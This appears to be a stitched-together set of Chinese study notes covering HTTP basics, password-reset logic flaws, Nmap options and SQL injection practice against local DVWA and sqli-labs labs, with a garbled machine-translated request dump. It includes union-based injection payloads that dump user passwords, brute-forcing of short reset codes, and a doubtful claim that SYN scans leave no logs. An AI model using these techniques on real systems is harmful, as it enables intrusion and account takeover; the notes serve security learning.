Web基础知识
1 HTTP介绍
HTTP协议(HyperText Transfer Protocol,超文本传输协议)是用于从WWW服务器传输超文本到本地浏览器的传送协议。
它的发展是万维网协会(World Wide Web Consortium)和Internet工作小组IETF(Internet Engineering Task Force)合作的结果。
它可以使浏览器更加高效,使网络传输减少。它不仅保证计算机正确快速地传输超文本文档,还确定传输文档中的哪一部分,以及哪部分内容首先显示(如文本先于图形)等。
1.1 版本
最常用的是HTTP1.0/1.1
最新版本是HTTP2.0,与1.0/1.1相比,有了更高的性能、安全性和灵活性
以前的版本0.9等
2 HTTP协议
2.1 URL与资源
2.1.1 方案的世界
在TCP/IP模型中,所有的网络连接都要使用方案,方案定义使用什么协议,比如http、ftp、telnet
一个标准的网络请求包括:
<scheme>://<user>:<password>@<host>:<port>/<path>;<params>?<query>#<frag>
但在实际使用过程中,对于不同协议可以缺少某些信息,比如
ftp://192.168.169.121
http://www.baidu.com/index.html
对于http协议,主要的包括scheme(协议)、host(主机)和path(资源路径)
2.1.2 URI、URL和URN
URI:统一资源标识符,包括URL和URN
URL:统一资源标识符,比如http://www.baidu.com/index.html就是一个URL
URN:统一资源名,它是无关物理位置的资源名定义,例子urn:ieft:rfc:2141
目前URN处于试验阶段,实际应用还很困难,在没有特别说明时,一般我们说的URI就代表URL
2.1.3 媒体类型
在HTTP中,不管是word文件、js文件或者图片都是资源,通可以通过URL进行请求,但每种不同的文件都要进行区分,以便服务端和客户端进行正确处理,比如播放声音、显示文字。
因此,HTTP仔细地给每种要通过http请求响应传输的对象都打上名为MIME类型的数据格式标签。
MIME: Multipurpose Internet Mail Extension 多用途因特网邮件扩展
最开始是为了解决电子邮件系统之间的问题,后来用于定义更多类型的多谋体内容。常见的MIME:
html:text/html
Ascii: text/plain
Json:text/json
Jpg:image/jpeg
Gif:image/gif
Ppt: application/vnd.ms-powerpoint
Quicktime:video/quicktime
2.2 协议介绍
2.2.1 协议栈
HTTP在TCP/IP协议栈中的位置
HTTP是基于TCP/IP的应用,因此HTTP无须关心网络寻址、数据传输和拓扑结构
2.2.2 协议工作流程
在HTTP1.0/1.1中,HTTP采用请求响应模型来处理HTTP事务 HTTP事务有一条请求命令和一个响应结果组成,它们通过HTTP报文进行数据传输
(1)客户端连接到Web服务器
(2)发送HTTP请求
(3)服务器接受请求并返回HTTP响应
(4)释放连接TCP连接
(5)客户端浏览器解析HTML内容
3 HTTP报文
3.1 报文
HTTP1.0/1.1报文由三部分组成:起始行、首部以及可选、包含数据的主体
其中起始行和首部是由行分隔的ASCII文本
主体是一个可选的数据块,主体中可以包含文本也可以包含二进制数据,也可以为空,与首部通过空一行进行区分
请求报文的格式:
<method>
<headers>
<entity-body>
响应报文的格式:
<version>
<headers>
3.1.1 起始行
所有的HTTP报文都以一个起始行做为开始
请求报文:<method> <request-url> <version> 说明要做什么
响应报文:<version> <status> <reason-phrase> 说明结果怎样
method,包括GET/POST/DELETE等等
version,目前绝大多数都是1.0或者1.1
status,表示做的结果
reason-phrase,是对状态结果的进一步补充说明
3.1.2 首部字段
HTTP首部字段向请求和响应报文中添加了一些附加信息,是一系列 key-value的列表,比如Content-Type:image/jpeg 表示类型是jpeg图片
首部的分类包括
通用首部:在请求和响应中都出现的信息
请求首部:只在请求报文中出现的信息
响应首部:只在响应报文中出现的信息
实体首部:描述主题的长度、内容等的信息
扩展首部:在HTTP规范中没有定义的其他信息
3.1.3 实体
HTTP实体是HTTP报文的负荷,是HTTP要传输的数据内容。
3.2 方法
HTTP基本的方法包括:GET/POST/HEAD/PUT/TRACE/OPTIONS,用来告诉服务端要做什么操作
3.2.1 GET
GET是最常用的方法,通常用于请求服务器发送某个资源
3.2.2 POST
POST是常用的方法之一,用于向服务端提交数据,有主体
逻辑漏洞——简单的任意账户密码重置
这类逻辑漏洞 就没有停的时候 在WAF越来越普及的时代,SQL注入,远程命令执行这类高危可操作漏洞将越来少,而逻辑漏洞则是目前WAF(很久之后的WAF或许也不能防御)的盲区。所以作为一名合格的黑客,学好逻辑漏洞的挖掘思路,是必须的。
浅谈APP漏洞挖掘之逻辑漏洞
.APP漏洞挖掘中逻辑漏洞,包括任意用户密码重置,支付漏洞,任意用户未授权登录。
1任意用户密码重置正文
首先,我们来看看任意用户密码重置。
方法一:密码找回的凭证太弱,为4位或6位纯数字,并且时效过长,导致可爆破从而重置用户密码。
验证码为4位纯数字,我们使用burpsuite爆破。
可以看到成功爆破出了。4位数字0~9有9999种可能,我们线程设置10,五分钟之内就可以爆破出凭证。
方法2:验证码传输在数据包中。
这里共有两种可能,一种在返回包,一种在获取验证码的数据包中。我们来看两个实例。
第一个:验证码在返回包中
在输入好手机号点击下一步时,我们抓包,截取返回包。
注意以上逻辑问题,不可存在越权,或者重要的凭证在不该出现的地方出现。
请求包响应包中每一行的意思
GET /dvwa/DVWA-master/vulnerabilities/brute/?username=§admin§&password=§password§&Login=§Login§ HTTP/1.1
得到╱dvwa╱dvwa–大师╱弱点╱野蛮?用户名=<UNK>admin<UNK>&密码=<UNK>密码<UNK>&登录=<UNK>登录<UNK>htt/1.1
Host: localhost
主机:本地主机
Upgrade-Insecure-Requests: 1
升级不安全的请求:1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
用户代理:mozilla/5.0(窗口nt 10.0;wow64)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
接受:文本/html,应用程序/xhtml+XML,应用程序/xml;Q=0.9,图像/webp,图像/apng,*/*;Q=0.8
Referer: http://localhost/dvwa/DVWA-master/vulnerabilities/brute/
引用者:http://localhost/dvwa/DVWA-master/vulnerabilities/brute/
Accept-Encoding: gzip, deflate, br
接受编码:gzip,减缩,BR
Accept-Language: zh-CN,zh;q=0.9
接受语:zh-cn,zh;Q=0.9
Cookie: security=low; PHPSESSID=v7ed0ita6o84t8gsu8in19dv43
Cookie:安全性=低;ppsesid=v7-0ita 6 o 84t 8gsu
Connection: close
连接:关闭
问题1
什么样的字段是爆破字段,爆破是起到什么样的作用
就是假如你不知道无线网密码
你想给他爆破出来 于是你就一个一个的密码去试
不对了就换一个密码
而在你输入了密码之后 会提交一个包出去
那个包里面肯定不止有你的密码,比如会有那个无线网的名称啊
等等
选择爆破的字段就是 你要对什么进行爆破
你要爆破密码 那就把密码选上。那个软件就会从字典里面一行一行读
然后把你选的那个字段替换成他读的那个数据
问题2
1' union select1,database()# 单引号让ID闭合
数据库的语法 select name,pass from test where id = '1';
这是从test数据库中把id为1的人的名字和密码找出来。
在导入那个数据库文件之后 你可以试一下 如果把where id ='1 ;这样是会出错的
就像语文中,说的话 需要上引号和下引号一样
只有半个是不行的。
他的原始语句是select name,pass from test where id = '你的输入'
你想要的效果是 select name,pass from test where id = '1' union select1,database()#
所以你需要输入 1' union select1,database()#
结合起来就是select name,pass from test where id = '1' union select1,database()#'
最后面的'因为注释的原因失去作用。
因为你的输入是拼接在''中间的,前面已经有了一个'了,但是你还想输入其他的语句,所以你要输入一个',与前面的'闭合,保证数据库语法的正确,才可以运行。
问题3
数据型注入
在url中的输入你的payload
eg:http://localhost/sqli-labs-master/Less-2/?id=1--
Nmap基础使用
001.
使用win+r组合键打开运行窗口,输入cmd,按回车打开cmd
输入nmap ip即可使用。
-Pn是不对主机进行存活测试直接扫描
-script是使用脚本,后面跟脚本名字,vuln是基础漏洞检测脚本
-p指定扫描的端口,后面跟端口号
-sS是隐蔽扫描,不会进行完整的握手,不产生日志记录
-sV是开启版本检测,会得到目标主机的版本相关的信息
002
一个数据库里有很多表,每个表里有许多字段,每个字段有各自的内容。
数据库相当于学校名称(一中、二中、三中),表相当于班级(一班、二班、三班),
字段相当于学生的属性(名字、学号、性别、),
字段的内容就是前面学生属性的具体内容(名字是什么,学号是什么,性别是什么)。
003
数据库查询语句一般是查询一个字段的内容是什么,相当于查上面举得例子的学生
select 字段
from 表名
Select 密码
from 班级
例子:Select pass from new
004
如果你不想看所有的内容,只想看一个,可以用where
select 字段名 from 表名
where 条件。
Select 密码
from 班级 where 学生学号=1
例子:select pass from new where id=1
005
如果你只想看学号为2和3的人的密码,可以用limit
例如
Select pass from new limit 1,2 (因为是从0开始排序
所以学号为1的人排序是0,学号为2 的人排序是1)
006
当你想知道两个字段的内容时,
意思就是你想知道一个学生的姓名和密码
可以把想知道的字段名用逗号相连:
select name,pass from new where id=1
当然也可以用
select name,pass from new limit 1
007
Union 联合查询
联合查询的意思是,你刚刚已经进行过一次查询了,
现在你想在查另外一个,他会把你第二次查询的内容放在第一次查询结果的后面。
比如说你第一次查了一个学生的名字,你现在用联合查询又查了他的密码,
他会把你查到的密码放在你第一次查到的名字的下面。
008
讲道理,“nina”是第一个学生的密码,但是它会把他放在第一个你查到的东西的后面。
Union 特点:前后查询的字段数必须一样
比如说我刚刚写了,可以查一个人的名字和密码
select name,pass from new
如果你想用union查询,那你查的字段必须也是两个。
比如这个第一次查的是名字和密码 两个字段 后面只查了一个id字段就会报错
select name,pass from new union select id from new
009
当前面查的是名字和密码 两个字段 后面查了id和pass两个字段时就可以正常运行,
并且把查到的id放在name下面,把pass放在pass下面
数据表之间的关系
数据表关系
关联映射:一对多/多对一
存在最普遍的映射关系,简单来讲就如球员与球队的关系;
一对多:从球队角度来说一个球队拥有多个球员 即为一对多
多对一:从球员角度来说多个球员属于一个球队 即为多对一
关联映射:一对一
一对一关系就如球队与球队所在地址之间的关系,一支球队仅有一个地址,而一个地址区也仅有一支球队。
数据表间一对一关系的表现有两种,一种是外键关联,一种是主键关联。
关联映射:多对多
多对多关系也很常见,例如学生与选修课之间的关系,一个学生可以选择多门选修课,而每个选修课又可以被多名学生选择。
数据库中的多对多关联关系一般需采用中间表的方式处理,将多对多转化为两个一对多
dvwa sql注入
级别:Low
① 输入1 提交
④输入1 and 1=2提交
输入
1' union select 1,table_name from information_schema.tables where table_name='dvwa'#
输入1' union select 1,column_name from information_schema.columns where table_name='users'#
输入
1' union select 1,concat(user,password) from users#
级别 Medium
级别 High
sql-labs
简介
结构化查询语言,也叫做SQL,从根本上说是一种处理数据库的编程语言。对于初学者,
数据库仅仅是在客户端和服务端进行数据存储。SQL 通过结构化查询,关系,面向对象编程等
等来管理数据库。编程极客们总是搞出许多这样类型的软件,像MySQL,MS SQL ,Oracle以
及Postgresql。现在有一些程序能让我们有能力通过结构化查询来管理 大型数据库。脚本小子
们一定已经动手体验了类似SQL注入等这样的操作,虽然他们可能已经通过使用自动化工具例
如SQL Map或者SQLNinja来实施攻击,但却还不知它真正的原理。在这篇简短的教程里,我
将会尽力让你对SQL注入是怎样工作的,攻击是怎样发生的以及什么是应用程序SQL漏洞有
-个深入的理解。